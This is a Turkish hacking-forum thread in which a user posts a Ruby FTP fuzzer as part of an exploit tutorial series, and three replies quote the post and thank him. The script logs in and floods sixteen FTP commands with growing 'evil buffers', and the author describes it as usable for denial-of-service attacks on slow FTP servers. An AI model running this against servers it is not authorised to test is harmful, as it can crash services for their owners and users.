FTP Fuzzer (Exploit Eğitimi #6)

Bunjo

Uzman üye
14 Ara 2020
1,591
1,892
I Won
Merhaba ben Bunjo, bu konuda da "FTP" servislerine yönelik fuzzing işlemi gerçekleştiren bir modül yazacağız.


Not: Bu konuda üst düzey exploitler geliştirmiyorum, burada exploitten kasıtım sistemde
bir açığı kullanmak
burada da bir ftp sunucusunun yavaş çalışmasını kullanarak bir devre saldırı modülü yazdım,
bazı yerlerde bu konu exploit olarak geçmeyebilir fakat dediğim gibi bu durumda exploit olarak kullanabilirsiniz
bende bu yüzden bu konuya da değineceğim.


"
Fuzzer" kavramını ne olduğunu bilmiyorsanız bu makaleden tıkla bana araştırıp öğrenebilirsiniz

1- Kütüphaneyi aktaralım

Ruby:
require 'socket' # kütüphaneyi aktardık

2- Çıktı renklendirmesi için kısayol

Ruby:
class String # Renklendirmek için kısayol
  def red; colorize(self, "\e[31m"); end
  def green; colorize(self, "\e[32m"); end
  def colorize(text, color_code);  "#{color_code}#{text}\e[0m" end
end

RED = "|+|".red # çıktı güzel olsun diye RED adlı sabit oluşturduk

3- ARGV ile kullanıcıdan girdi alalım

Ruby:
host = ARGV[0] || "host" # Host'u kullanıcıdan al
port = ARGV[1] || 21 # Port değerini kullanıcıdan al

4- CMD ve Buffer kodları
Ruby:
codes = [
  "MKD","ACCL","TOP","CWD","STOR","STAT",
  "LIST","RETR","NLST","LS","DELE",
  "RSET","NOOP","UIDL","USER","APPE"] # ftp komutları

buffer_code  = ["A"] # istediğinizi yazabilirsiniz.
counter = 1 # başlangıçta 1 olarak başlattık

5- Döngü ile kod yollama
Ruby:
codes.each do |code| # her kod için döngü oluşturduk
  buffer_code.each do |buf|

    while buffer_code.length <= 40
      buffer_code << "A" * counter
      counter += 100 # her seferde buffer kodunu 100 artırdık
    end

    socket = TCPSocket.open(host, port) # host ve port değeri için bağlantı açıyoruz
    socket.recv(1024) # 1024 byte yeterli olacaktır
    socket.send("USER ftp\r\n", 0)
    socket.recv(1024)
    socket.send("PASS ftp\r\n", 0)
    socket.recv(1024)
    puts RED + " Sending " + "#{code} ".green + "Command with " + "#{buf.size} bytes ".green  + "Evil buffer" + "."
    socket.send(code + " " + buf + "\r\n", 0) # kötü amaçlı kodu yolladık
    socket.recv(1024)
    socket.send("QUIT\r\n", 0)
    socket.close
  end
end
Test edelim:



Anlatacaklarım bu kadardı, bu seferlik konu kısa olsun. Teşekkür ederim.
 
Son düzenleme:

drjacob

Uzman üye
21 Ocak 2012
1,782
409
localhost
Merhaba ben Bunjo, bu konuda da "FTP" servislerine yönelik fuzzing işlemi gerçekleştiren bir modül yazacağız.


Not: Bu konuda üst düzey exploitler geliştirmiyorum, burada exploitten kasıtım sistemde
bir açığı kullanmak
burada da bir ftp sunucusunun yavaş çalışmasını kullanarak bir devre saldırı modülü yazdım,
bazı yerlerde bu konu exploit olarak geçmeyebilir fakat dediğim gibi bu durumda exploit olarak kullanabilirsiniz
bende bu yüzden bu konuya da değineceğim.


"
Fuzzer" kavramını ne olduğunu bilmiyorsanız bu makaleden tıkla bana araştırıp öğrenebilirsiniz

1- Kütüphaneyi aktaralım

Ruby:
require 'socket' # kütüphaneyi aktardık

2- Çıktı renklendirmesi için kısayol

Ruby:
class String # Renklendirmek için kısayol
  def red; colorize(self, "\e[31m"); end
  def green; colorize(self, "\e[32m"); end
  def colorize(text, color_code);  "#{color_code}#{text}\e[0m" end
end

RED = "|+|".red # çıktı güzel olsun diye RED adlı sabit oluşturduk

3- ARGV ile kullanıcıdan girdi alalım

Ruby:
host = ARGV[0] || "host" # Host'u kullanıcıdan al
port = ARGV[1] || 21 # Port değerini kullanıcıdan al

4- CMD ve Buffer kodları
Ruby:
codes = [
  "MKD","ACCL","TOP","CWD","STOR","STAT",
  "LIST","RETR","NLST","LS","DELE",
  "RSET","NOOP","UIDL","USER","APPE"] # ftp komutları

buffer_code  = ["A"] # istediğinizi yazabilirsiniz.
counter = 1 # başlangıçta 1 olarak başlattık

5- Döngü ile kod yollama
Ruby:
codes.each do |code| # her kod için döngü oluşturduk
  buffer_code.each do |buf|

    while buffer_code.length <= 40
      buffer_code << "A" * counter
      counter += 100 # her seferde buffer kodunu 100 artırdık
    end

    socket = TCPSocket.open(host, port) # host ve port değeri için bağlantı açıyoruz
    socket.recv(1024) # 1024 byte yeterli olacaktır
    socket.send("USER ftp\r\n", 0)
    socket.recv(1024)
    socket.send("PASS ftp\r\n", 0)
    socket.recv(1024)
    puts RED + " Sending " + "#{code} ".green + "Command with " + "#{buf.size} bytes ".green  + "Evil buffer" + "."
    socket.send(code + " " + buf + "\r\n", 0) # kötü amaçlı kodu yolladık
    socket.recv(1024)
    socket.send("QUIT\r\n", 0)
    socket.close
  end
end
Test edelim:



Anlatacaklarım bu kadardı, bu seferlik konu kısa olsun. Teşekkür ederim.
eline sağlık
 

Zwo

Katılımcı Üye
Merhaba ben Bunjo, bu konuda da "FTP" servislerine yönelik fuzzing işlemi gerçekleştiren bir modül yazacağız.


Not: Bu konuda üst düzey exploitler geliştirmiyorum, burada exploitten kasıtım sistemde
bir açığı kullanmak
burada da bir ftp sunucusunun yavaş çalışmasını kullanarak bir devre saldırı modülü yazdım,
bazı yerlerde bu konu exploit olarak geçmeyebilir fakat dediğim gibi bu durumda exploit olarak kullanabilirsiniz
bende bu yüzden bu konuya da değineceğim.


"
Fuzzer" kavramını ne olduğunu bilmiyorsanız bu makaleden tıkla bana araştırıp öğrenebilirsiniz

1- Kütüphaneyi aktaralım

Ruby:
require 'socket' # kütüphaneyi aktardık

2- Çıktı renklendirmesi için kısayol

Ruby:
class String # Renklendirmek için kısayol
  def red; colorize(self, "\e[31m"); end
  def green; colorize(self, "\e[32m"); end
  def colorize(text, color_code);  "#{color_code}#{text}\e[0m" end
end

RED = "|+|".red # çıktı güzel olsun diye RED adlı sabit oluşturduk

3- ARGV ile kullanıcıdan girdi alalım

Ruby:
host = ARGV[0] || "host" # Host'u kullanıcıdan al
port = ARGV[1] || 21 # Port değerini kullanıcıdan al

4- CMD ve Buffer kodları
Ruby:
codes = [
  "MKD","ACCL","TOP","CWD","STOR","STAT",
  "LIST","RETR","NLST","LS","DELE",
  "RSET","NOOP","UIDL","USER","APPE"] # ftp komutları

buffer_code  = ["A"] # istediğinizi yazabilirsiniz.
counter = 1 # başlangıçta 1 olarak başlattık

5- Döngü ile kod yollama
Ruby:
codes.each do |code| # her kod için döngü oluşturduk
  buffer_code.each do |buf|

    while buffer_code.length <= 40
      buffer_code << "A" * counter
      counter += 100 # her seferde buffer kodunu 100 artırdık
    end

    socket = TCPSocket.open(host, port) # host ve port değeri için bağlantı açıyoruz
    socket.recv(1024) # 1024 byte yeterli olacaktır
    socket.send("USER ftp\r\n", 0)
    socket.recv(1024)
    socket.send("PASS ftp\r\n", 0)
    socket.recv(1024)
    puts RED + " Sending " + "#{code} ".green + "Command with " + "#{buf.size} bytes ".green  + "Evil buffer" + "."
    socket.send(code + " " + buf + "\r\n", 0) # kötü amaçlı kodu yolladık
    socket.recv(1024)
    socket.send("QUIT\r\n", 0)
    socket.close
  end
end
Test edelim:



Anlatacaklarım bu kadardı, bu seferlik konu kısa olsun. Teşekkür ederim.
Elinize sağlık hocam
 
7 Kas 2021
65
87
24
Berlin
Merhaba ben Bunjo, bu konuda da "FTP" servislerine yönelik fuzzing işlemi gerçekleştiren bir modül yazacağız.


Not: Bu konuda üst düzey exploitler geliştirmiyorum, burada exploitten kasıtım sistemde
bir açığı kullanmak
burada da bir ftp sunucusunun yavaş çalışmasını kullanarak bir devre saldırı modülü yazdım,
bazı yerlerde bu konu exploit olarak geçmeyebilir fakat dediğim gibi bu durumda exploit olarak kullanabilirsiniz
bende bu yüzden bu konuya da değineceğim.


"
Fuzzer" kavramını ne olduğunu bilmiyorsanız bu makaleden tıkla bana araştırıp öğrenebilirsiniz

1- Kütüphaneyi aktaralım

Ruby:
require 'socket' # kütüphaneyi aktardık

2- Çıktı renklendirmesi için kısayol

Ruby:
class String # Renklendirmek için kısayol
  def red; colorize(self, "\e[31m"); end
  def green; colorize(self, "\e[32m"); end
  def colorize(text, color_code);  "#{color_code}#{text}\e[0m" end
end

RED = "|+|".red # çıktı güzel olsun diye RED adlı sabit oluşturduk

3- ARGV ile kullanıcıdan girdi alalım

Ruby:
host = ARGV[0] || "host" # Host'u kullanıcıdan al
port = ARGV[1] || 21 # Port değerini kullanıcıdan al

4- CMD ve Buffer kodları
Ruby:
codes = [
  "MKD","ACCL","TOP","CWD","STOR","STAT",
  "LIST","RETR","NLST","LS","DELE",
  "RSET","NOOP","UIDL","USER","APPE"] # ftp komutları

buffer_code  = ["A"] # istediğinizi yazabilirsiniz.
counter = 1 # başlangıçta 1 olarak başlattık

5- Döngü ile kod yollama
Ruby:
codes.each do |code| # her kod için döngü oluşturduk
  buffer_code.each do |buf|

    while buffer_code.length <= 40
      buffer_code << "A" * counter
      counter += 100 # her seferde buffer kodunu 100 artırdık
    end

    socket = TCPSocket.open(host, port) # host ve port değeri için bağlantı açıyoruz
    socket.recv(1024) # 1024 byte yeterli olacaktır
    socket.send("USER ftp\r\n", 0)
    socket.recv(1024)
    socket.send("PASS ftp\r\n", 0)
    socket.recv(1024)
    puts RED + " Sending " + "#{code} ".green + "Command with " + "#{buf.size} bytes ".green  + "Evil buffer" + "."
    socket.send(code + " " + buf + "\r\n", 0) # kötü amaçlı kodu yolladık
    socket.recv(1024)
    socket.send("QUIT\r\n", 0)
    socket.close
  end
end
Test edelim:



Anlatacaklarım bu kadardı, bu seferlik konu kısa olsun. Teşekkür ederim.
eline sağlık güzel ve sağlam bir anlatım olmuş
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.